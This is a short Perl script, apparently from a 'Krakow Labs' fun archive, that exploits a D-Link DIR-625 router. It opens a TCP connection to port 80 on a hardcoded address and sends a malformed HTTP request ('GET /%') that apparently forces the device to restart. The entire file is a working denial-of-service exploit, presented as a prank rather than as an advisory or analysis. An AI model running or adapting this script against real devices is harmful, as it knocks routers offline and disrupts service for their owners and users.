#!/usr/bin/perl
# KL0409FUN_delink.pl
# Krakow Labs [Fun Archive] -> www.krakowlabs.com/dev/fun
# D-Link DIR-625 Remote Device Restart
# rush@KL
# KL0409FUN_delink.pl

use IO::Socket;

$target = "10.10.10.101";
$port   = 80;

$payload = "GET /% HTTP/1.1\r\n\r\n";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerHost=>$target, PeerPort=>$port) or die "Error: $target:$port\n";

$sock->send($payload);
$sock->recv($buf, 512);
close($sock);